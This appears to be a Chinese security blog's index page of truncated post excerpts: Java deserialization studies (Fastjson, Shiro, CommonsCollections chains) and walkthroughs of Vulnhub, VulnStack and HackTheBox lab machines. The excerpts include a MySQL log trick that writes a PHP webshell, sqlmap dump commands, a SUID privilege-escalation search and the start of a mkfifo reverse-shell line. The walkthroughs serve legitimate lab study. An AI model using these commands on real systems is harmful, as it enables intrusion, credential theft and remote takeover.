Java反序列化之Fastjson入门篇
FastJson简介Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,以其特有的算法,号称最快的json库,用于将数据在 JSON 和 Java Object 之间互相转换。提供两个主要接口来分别实现序列化和反序列化操作。JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。JSON.parseObject/JSON.parse 将 json 对象重新变回 Java 对象;反序列化的过程
通过代码简单了解首先导入依赖
1234567<dependencies> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies&g ...
VulnStack--01
环境搭建win7需要通外网,所以需要两张网卡,然后win7需要ping通kali、win2003、win2008然后开启win7的PHPstudy就行了,但是这里有个很疑惑的点就是win7可以ping通其它的机器,但是反过来就ping不通很奇怪,访问web服务又是正常的。。。
外网渗透nmap先扫一波开放了80和3306端口,先去看看80,是一个php探针,MySQL检测那里直接尝试root/root连接成功接着直接访问phpmyadmin利用弱口令登录成功,网上看了看这个版本可以利用日志getshell,查看日志是否开启
1show variables like 'general_log';
未开启,那么直接开启它
1set global general_log=on;
更改日志文件路径,创建日志文件,这个路径就行从PHP探针那里得到的
1set global general_log_file='C:\\phpStudy\\WWW\\shell.php';
然后往日志文件写入一句话木马
1select '<?php @ ...
HacktheBox--Gofer
信息搜集nmap扫描开放端口然后配置etc/hosts
1echo "10.10.11.225 gofer.htb" >> /etc/hosts
接着访问这个域名没啥发现,然后用dirsearch做了个目录扫描也没发现啥这个assets看了下没啥东西就存放了些前端的一些静态文件,到这里完全没思路了,猜测问题可能就在下面这个邮箱这里,但是不知道怎么利用后面看了完整的视频教程,竟然是通过钓鱼来反弹shell,并且利用smbclient获取到提示之前都不知道这个方法,第一次玩hackthebox的靶机确实想不到其实这里还有个子域名但是dirsearch扫不到,应该是自带里面没有就是proxy.gofer.htb可以通过ffuf来扫,这个工具kali自带了,但是那个字典指定我没找到自带的字典位置这里就不扫描了大概命令如下
1ffuf -u http://gofer.htb/ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -H "Host ...
Java学习之Shiro721
环境这里我直接用的Drunkbaby佬的环境,自己搭建失败了,淦
漏洞原理在Shiro721漏洞中,由于Apache Shiro cookie中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过Padding Oracle Attack来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行。
虽然使用Padding Oracle Attack可以绕过密钥直接构造攻击密文,但是在进行攻击之前我们需要获取一个合法用户的Cookie。
漏洞利用条件漏洞影响版本是 1.2.5 <= Apache Shiro <= 1.4.1Apache Shiro Padding Oracle Attack 的漏洞利用必须满足如下前提条件:
开启 rememberMe 功能;
rememberMe 值使用 AES-CBC 模式解密;
能获取到正常 Cookie,即用户正常登录的 Cookie 值;
密文可控;
复现漏洞这里先正常登录,然后抓个登录后的包,这里还是和之前一样得用自己的IP才能抓到然后利用y ...
Java学习之Shiro550
环境
jdk8u65
Tomcat8
shiro 1.2.4漏洞影响版本:Shiro <= 1.2.4环境具体的配置参考:Java反序列化Shiro篇01-Shiro550流程分析 | Drunkbaby’s Blog (drun1baby.top)
shiro-550分析哎,终于到了shiro,虽然很少遇到这个漏洞但是这个还是挺重要的抓个登录的包,勾选 RememberMe 字段可以看到这个cookie明显是通过加密的,那么就去分析一下这个cookie的生成过程,idae里面按两下shift可以输入cookie然后会把和cookie这个名字有关的类列出来,最终我们找到了CookieRememberMeManager类中的 getRememberedSerializedIdentity()方法这个方法先判断是否为http请求,如果是则会获取remember me的cookie值,然后判断是否是deleteMe,不是则判断是否是符合 base64 编码,然后再对其进行 base64 解码,将解码结果返回,那么往上找谁调用了这个方法找到了AbstractRememberM ...
Java学习之CommonsBeanUtils1
环境jdk8依赖如下
1234567891011121314151617<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency& ...
Java学习之CC链11
环境
CommonsCollections 3.1-3.2.1
jdk无限制
链子分析看大佬的博客这调链子是CC2+CC6,这里把完整的调用链流程图放一下其实这条链子就是为后面的shiro可以不通过Transform数组来实现反序列化服务的
CC2的尾部链TemplatesImpl把CC2的后半部分拿来
1234567891011121314151617TemplatesImpl templates = new TemplatesImpl(); Class tclass = templates.getClass(); Field nameField = tclass.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaa"); Field bytecodes = tclass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(tru ...
Vulnhub-DC-9
环境下载地址:DC: 9 ~ VulnHub
开始打靶端口开放访问页面,在search界面经过不断尝试确实存在注入丢进sqlmap看看
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" --dbs
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users --tables
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails --columns
1sqlmap -u "http://192.168.75.142/results.php" -data "search=1" -D users -T UserDetails -C username ...
Vulnhub-DC-8
环境下载地址:https://download.vulnhub.com/dc/DC-8.zip
开始打靶访问IP,得到为Drupal 7和DC-7一模一样,没啥思路扫个目录看看版本为7.67,msf上没有啥漏洞,但是这里肯定是直接漏洞利用,于是找到了如下界面的sql注入直接上sqlmap
1sqlmap -u "http://192.168.75.141/?nid=1" --dbs
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db --table
然后找到如下表,进入看看最终找到字段
1sqlmap -u "http://192.168.75.141/?nid=1" -D d7db -T users -C name,pass --dump
接着使用jhon去爆破它,把这两行密码复制到记事本里然后去爆破爆破结果为john/turtle,然后在下面插入代码然后将shell转为交互式shell
提权1find / -perm -u=s -type f 2>/dev/null
...
Vulnhub-DC-7
环境下载地址:https://download.vulnhub.com/dc/DC-7.zip
开始打靶存活IP扫描访问页面,内容为Drupal的CMS页面上面没啥东西,但是页面下有百度一下这个用户发现为其GitHub访问其config.php得到数据库账号密码,但是登录不上却可以登录ssh连接如下打开mbox发现存在/opt/scripts/backups.sh访问其目录,查看backups.sh发现有个drush命令,但是不知道其作用,搜索后发现这个命令可以修改密码,进入到var/www/html使用其命令修改
1drush user-password admin --password="123456"
然后利用这个账号密码去登陆在Content—>Add content–>Basic page下准备写马但是不支持,将php进行引入!如下然后把这个扩展开启了再进入刚刚那个界面然后写入木马最后用4连上了,奇奇怪怪
提权进入opt目录,写入打开终端然后写入提权的语句
1echo "rm /tmp/f;mkfifo /tmp/ ...
Vulnhub-DC-6
环境下载地址:https://download.vulnhub.com/dc/DC-6.zip
开始打靶存活IP扫描访问IP显示域名但无法解析,和前面有台DC靶机一样,这里我在win下修改hosts文件,打开这个文件然后正常访问,网站是WordPress的CMS,直接永wpscan先扫一波,这个竟然没扫到登录界面,dirsearch再扫一波找到再使用wpscan扫一波用户名,得到5个用户
1wpscan --url wordy -e u
然后是爆破密码 ,这里vulnhub给了提示让用哪个字典
123OK, this isn't really a clue as such, but more of some "we don't want to spend five years waiting for a certain process to finish" kind of advice for those who just want to get on with the job.cat /usr/share/wordlists/rockyou.t ...
Java学习之CC链7
环境CommonsCollections 3.1 - 3.2.1,jdk好像是没有限制的
链子分析这里其实后半部分和CC1也是一样只不过入口点变了,这里为Hashtable这个类,找样是把他和LazyMap连起来,但是这里不直接去find usages了,因为get调用实在太多了,所以直接看,最后是找到了AbstractMap类,它的equals()方法调用了get()方法那么下一步就是找谁调用了equals()方法,从这里开始会遇到前面几条链没有过的调用方式就是调用子类没有的方法那么就会去到父类调用这个方法,所以在这里HashMap这个类继承了AbstractMap类而HashMap类没有equals()方法那么调用HashMap类equals()方法就会调到AbstractMap类的equals()方法所以接下来就去寻找调用了key.equals我们控制key的类型为HashMap就行了,最终是在HashTable类的reconstitutionPut()方法调用了key.equals其实这里equals的调用还是挺绕的,一开始是传LazyMap对象到AbstractMap类去调用 ...